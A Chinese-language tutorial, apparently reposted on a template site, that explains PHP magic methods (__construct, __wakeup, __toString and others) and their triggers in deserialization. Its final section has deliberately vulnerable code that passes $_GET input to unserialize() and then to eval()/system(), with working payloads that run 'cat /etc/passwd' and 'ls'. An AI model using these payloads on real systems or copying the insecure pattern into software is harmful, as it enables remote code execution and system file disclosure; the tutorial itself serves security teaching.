PHP反序列化漏洞之魔术方法

这篇具有很好参考价值的文章主要介绍了PHP反序列化漏洞之魔术方法。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、魔术方法

PHP魔术方法(Magic Methods)是一组特殊的方法,它们在特定的情况下会被自动调用,用于实现对象的特殊行为或提供额外功能。这些方法的名称都以双下划线开头和结尾,例如: __construct()__toString()等。

魔术方法可以帮助我们实现一些特殊的行为,例如对象的初始化、属性的访问控制、对象的转换等。通过合理利用魔术方法,我们可以增强PHP对象的灵活性和功能性。

二、PHP魔术方法详解

学习魔术方法,需要去熟悉每一个魔术方法的触发时机,这一点是在学习 PHP 反序列化漏洞中最重要的,如果不知道什么时候出发魔术方法,就无法去构造POP链,其次,需要了解每个魔术方法的参数列表和返回值类型,下面详细介绍 PHP 中的魔术方法。
PHP反序列化漏洞之魔术方法,Web漏洞原理,php,魔术方法,反序列化漏洞

魔术方法 触发时机
__construct() 类的构造函数,在类实例化对象时自动调用构造函数
__destruct() 类的析构函数,在对象销毁之前自动调用析构函数
__sleep() 在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup() 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。
__set($property, $value) 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。
__get($property) 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。
__isset($property) 当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。
__unset($property) 当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。
__call($method, $arguments) 调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数
__callStatic($method, $arguments) 当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。
__toString() 当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法
__invoke() 当将一个对象作为函数进行调用时自动调用。
__clone() 当使用 clone 关键字复制一个对象时自动调用。
__set_state($array) 在使用 var_export() 导出类时自动调用,用于返回一个包含类的静态成员的数组。
__debugInfo() 在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。

1、__construct()

构造函数__construct(),在实例化一个对象的时候,首先会去自动执行该方法

<?php
class User {
    public $username;
    public function __construct($username) {
        $this->username = $username;
        echo "触发了构造函数1次" ;
    }
}
$test = new User("benben");    //实例化对象时触发构造函数__construct()
$ser = serialize($test);       //在序列化和反序列化过程中不会触发构造函数
unserialize($ser);
?>

2、__destruct()

析构函数__destruct(),在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

<?php
class User {
    public function __destruct()
    {
        echo "触发了析构函数1次";
    }
}
$test = new User("benben");  //实例化对象结束后,代码运行完会销毁,触发析构函数_destruct()
$ser = serialize($test);     //在序列化过程中不会触发
unserialize($ser);           //在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()
?>

以上代码总共触发两次析构函数,第一次为实例化对象后,代码运行完会,对象会被销毁,触发析构函数_destruct();第二次在反序列化过程中会触发,反序列化得到的是对象,用完后会销毁,触发析构函数_destruct()

3、__sleep()

在进行序列化时,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组。然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE级别的错误。

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username, $nickname, $password) {
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep() {
        return array('username', 'nickname');      //sleep执行返回需要序列化的属性名,过滤掉password变量
    }
}
$user = new User('a', 'b', 'c');
echo serialize($user);      //serialize()只序列化sleep返回的变量,序列化之后的字符串:O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
//
?>

4、__weakup()

在进行反序列化时,unserialize()函数会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法。可以在此方法中重新初始化对象状态。

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        $this->password = $this->username;       //反序列化之前触发_wakeup(),给password赋值
    }
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}';    // 字符串中并没有password
var_dump(unserialize($user_ser));   // object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL } 
?>

__wakeup()在反序列化unserialize()之前被调用
__destruct()在反序列化unserialize()之后被调用

5、__toString()

当使用echoprint输出对象将对象转化为字符串形式,或者将一个“对象”与“字符串”进行拼接时,会调用__toString()方法

<?php
class User {
    var $benben = "this is test!!";
    public function __toString()
    {
        return '格式不对,输出不了!';
    }
}
$test = new User() ;     // 把类User实体化并赋值给$test,此时$test是个对象
print_r($test);          // 打印输出对象可以使用print_r或者var_dump,该对象输出后为:User Object(    [benben] => this is test!!)
echo $test;              // 如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发toString()
?>

6、__invoke()

当将一个对象作为函数进行调用时会触发__invoke()函数。

<?php
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;     //把类User实例化为对象并赋值给$test
echo $test ->benben;     //正常输出对象里的值benben
$test();                 //加()是把test当成函数test()来调用,此时触发_invoke()
?>

7、__call()

当调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数。

<?php
class User {
    public function __call($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test -> callxxx('a','b','c'); //调用的方法callxxx()不存在,触发魔术方法call(),传参(callxxx,a);$arg1:调用的不存在的方法的名称;$arg2:调用的不存在的方法的参数;
?>

__call(string $function_name, array $arguments)该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

8、__callStatic()

当调用不存在或不可见的静态方法时,会自动调用__callStatic()方法,传递方法名和参数数组作为参数。

<?php
class User {
    public static function __callStatic($arg1,$arg2)
    {
        echo "$arg1,$arg2[0]";
    }
}
$test = new User() ;
$test::callxxx('a');        //静态调用使用"::",静态调用方法callxxx(),由于其不存在,所以触发__callStatic,传参(callxxx,a),输出:callxxx,a
?>

9、__set()

__set($name, $value)函数,给一个对象的不存在或不可访问(private修饰)的属性赋值时,PHP就会执行__set()方法。__set()方法包含两个参数,$name表示变量名称,$value表示变量值,两个参数不可省略。

<?php
class User {
    public $var1;
    public function __set($arg1 ,$arg2)
    {
        echo  $arg1.','.$arg2;
    }
}
$test = new User() ;
$test->var2=1;        //给不存在的成员属性var2赋值为1,自动触发__set()方法;如果有__get(),先调用__get(),再调用__set(),输出:var2,1
?>

10、__get()

__get($name)函数,当程序访问一个未定义或不可见的成员变量时,PHP就会执行 __get()方法来读取变量值。__get()方法有一个参数,表示要调用的变量名。

<?php
class User {
    public $var1;
    public function __get($arg1)
    {
        echo  $arg1;
    }
}
$test = new User() ;
$test ->var2;         //调用的成员属性var2不存在,触发__get(),把不存在的属性的名称var2赋值给$arg1,输出:var2
?>

11、__isset()

当对一个对象的不存在或不可访问的属性使用 isset()empty() 函数时自动调用,传递属性名作为参数。

<?php
    class User {
        private $var;
        public function __isset($arg1)
        {
            echo  $arg1;
        }
    }
$test = new User() ;
isset($test->var);       // 调用的成员属性var不可访问,并对其使用isset()函数或empty()函数,触发__isset(),输出:var
?>

12、__unset()

当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。

<?php
    class User {
        private $var;
        public function __unset($arg1 )
        {
            echo  $arg1;
        }
    }
$test = new User() ;
unset($test->var);        // 调用的成员属性var不可访问,并对其使用unset()函数,触发__unset(),输出:var
?>

13、__clone()

当使用 clone 关键字复制一个对象时自动调用。

<?php
    class User {
        private $var;
        public function __clone( )
        {
            echo  "__clone test";
        }
    }
$test = new User() ;
$newclass = clone($test)        // __clone test
?>

三、魔术方法漏洞利用示例

1、__destruct()漏洞利用

<?php
class User {
    var $cmd = "echo 'dazhuang666!!';" ;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$ser = $_GET["benben"];
unserialize($ser);       //反序列化触发_destruct(),destruct()执行eval(),eval()触发代码
?>

以上代码在反序列化之后,会触发__destruct()魔术方法,该方法中有命令执行函数eval(),又因为反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关,所以我们在序列化字符串中重新给$cmd赋值,例如:$cmd="system('cat /etc/passwd');"
,这样在反序列化之后会去执行eval()函数,从而触发代码执行。这只是最简单的反序列化漏洞利用方式,旨在理解如何去利用反序列化去触发代码执行。

// payload:
?benben=O:4:"User":1:{s:3:"cmd";s:26:"system('cat /etc/passwd');";}

PHP反序列化漏洞之魔术方法,Web漏洞原理,php,魔术方法,反序列化漏洞

2、__wakeup()漏洞利用

<?php
class User {
    const SITE = 'uusama';
    public $username;
    public $nickname;
    private $password;
    private $order;
    public function __wakeup() {
        system($this->username);
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>                     

和上一题__destruct()漏洞利用方式类似,在反序列化之前会触发__wakeup(),该函数中有执行系统命令的system()函数,他去执行对象的username属性,所以我们在序列化字符串中让username的值为系统命令即可。

// payload:
?benben=O:4:"User":1:{s:8:"username";s:2:"ls";} 

PHP反序列化漏洞之魔术方法,Web漏洞原理,php,魔术方法,反序列化漏洞

以上知识总结来自橙子科技php反序列化漏洞学习,并结合自己的理解。文章来源地址https://www.toymoban.com/news/detail-602488.html

到了这里,关于PHP反序列化漏洞之魔术方法的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 38-WEB漏洞-反序列化之PHP&JAVA全解(下)

    序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。 反序列化:从存储区中读取该数据,并将其还原为对象的过程,成为反序列化。 1、主函数: 调用序列化方法 将反序列化的的结果

    2024年01月25日
    浏览(48)
  • 37-WEB漏洞-反序列化之PHP&JAVA全解(上)

    未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。 2.1.1、本地 unserialize2.php flag.

    2024年01月22日
    浏览(44)
  • 【精选】PHP&java 序列化和反序列化漏洞

    目录 首先 其次 技巧和方法

    2024年01月23日
    浏览(52)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(48)
  • php反序列化漏洞基础

            序列化是将对象或类转换为字符串的过程 ,以便在程序运行过程中对其进行持久化存储或传输的操作。在PHP中,序列化主要用于将类对象或数组转换成字节流的形式,以便于存储在磁盘或传输到其他系统。         通过 序列化,可以将对象或类转换成一串字

    2024年01月20日
    浏览(64)
  • 反序列化漏洞及PHP魔法函数

    目录 1、漏洞原理 2、序列化(以PHP语言为例) 3、反序列化 4、PHP魔法函数 (1)__wakeup() (2)__destruct() (3)__construct() (4)__toString() (5)__get() (6)__call() PHP反序列化漏洞也叫PHP对象注入,形成的原因是程序未对用户输入的序列化字符串进行检测,导致攻击者可以控制反

    2024年02月04日
    浏览(60)
  • PHP反序列化漏洞-字符串逃逸

    字符串逃逸(闭合) 字符串逃逸(闭合)是一种在反序列化函数可控的情况下,通过修改序列化字符串中的敏感字符来达到字符串逃逸的方法。 具体而言,可以通过修改变量名等个数,使得序列化字符串中的字符个数与实际变量值个数不一致 。由于反序列化机制要求字符串

    2024年01月20日
    浏览(57)
  • PHP反序列化漏洞之产生原因(题目练习)

    PHP反序列化漏洞又叫做PHP对象注入漏洞,是因为程序对输入的序列化后的字符串处理不当导致的。反序列化漏洞的成因在于代码中的unserialize()接收参数可控,导致代码执行,SQL注入,目录遍历,getshell等后果。 一句话讲晒就是:  反序列化漏洞是由于unserialize函数接收到了

    2024年02月06日
    浏览(64)
  • PHP反序列化漏洞(最全面最详细有例题)

    靶场搭建: 所有例题靶场里面都有 直接把文件放在phpstudy的目录下,或者用docker打开都行 类的结构,类的内容,实例化和赋值,类的修饰符介绍 外部可以用调用public属性,类的内部可以调用protected,public属性成员属性。都不能调用private属性的成员 private属性变量,会在其前面

    2024年02月10日
    浏览(55)
  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包